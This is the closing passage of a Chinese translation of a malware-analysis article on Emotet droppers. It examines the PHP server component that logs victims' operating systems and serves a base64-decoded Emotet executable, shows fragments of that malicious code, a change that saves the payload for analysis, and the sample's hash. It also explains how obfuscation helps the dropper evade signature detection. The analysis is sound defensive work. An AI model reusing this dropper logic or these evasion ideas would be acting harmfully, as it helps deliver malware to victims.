文件锁定用于确保所有请求都被记录下来,因为锁定会减轻竞争条件。由于最大执行时间被设置为无限制,这意味着有时请求有效载荷的宏必须等待一段时间才能提供文件。

此外,它还为犯罪分子提供统计数据,他们可以通过该统计数据,分析受害者的使用情况和操作系统。

函数的文件处理部分如下所示:

	fseek($sha1HashFile, 0);
				fwrite($sha1HashFile, json_encode($decodedSha1File));
				fflush($sha1HashFile);
				flock($sha1HashFile, LOCK_UN);
			}
			fclose($sha1HashFile);
		}

使用fseek将文件指针设置为索引0,然后调用fwrite将字符串写入文件。函数fflush会将输出以文件的形式展示出来。最后,使用flock解锁文件(注意LOCK_UN参数解锁文件),然后使用fclose关闭文件句柄。

$sha1HashFile用于跟踪统计信息,下面所示的代码已经过重写,以便大家更好地理解。

statistics = openFile(sha1hash(currentDirectory()), EXCLUSIVE_LOCK);
operatingSystem = getOperatingSystem(userAgent);
if(!statistics.contains(operatingSystem)) {
    statistics.add(operatingSystem, 0);
}
statistics.increment(operatingSystem);
statistics.writeToFile();
closeFile(statistics, UNLOCK);

函数的返回值如下所示:

header('Content-Type: ' . $this->contentType_);
		header('Content-Disposition: attachment;
 filename="' . $this->contentName_ . '"');
		header('Content-Transfer-Encoding: binary');
		return base64_decode($this->content_);
	}
}

其中标头被设置为包含在类中定义的内容类型,以及内容配置(可能是附件)。内容编码是二进制的,其中该文件的内容标头是使用base64_decode解码的base64,该文件由恶意宏执行。

在分析过程中,下一个阶段(在受害者的设备上下载的文件)最好是单独保存的,这可以通过用以下两行替换代码中的返回值来完成。

file_put_contents("/home/libra/Desktop/emotet/stage5.exe", base64_decode($this->content_));
return "";

最后,可以重命名该类,如下所示。

$downloadClass = new DownloadClass();
echo $downloadClass->execute();

第5阶段:二进制

从站点下载的二进制文件是一个可执行文件,它被检测为Emotet,如此处所示,该文件的SHA-256哈希如下所示。

82fa35d4f8552c453b7ae2603738478cc22a266e687e481d02473ace810c7e1a

总结

恶意宏中的混淆技术旨在避免任何形式的字符串检测机制,由于随机布局的发生,因此很难为文档编写规则。

服务器上的PHP文件也有类似的用途,通过混淆PHP代码并动态执行第二个PHP阶段,服务器所有者很难检测到客户的Web托管中的恶意文件。通过这种方式,恶意网站会试图在较长时间内保持在线状态。此时,签名检测也很容易被规避,因为文件很容易被频繁地混淆。

总而言之,本文为大家解释了Emotet在执行过程中的复杂过程,特别是释放技术可以让感染过程中分多个阶段进行,上一个阶段的感染进程可以作为下一个阶段的释放器。

本文翻译自:https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/ 如若转载,请注明原文地址: https://www.4hou.com/reverse/16694.html
点赞 4
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论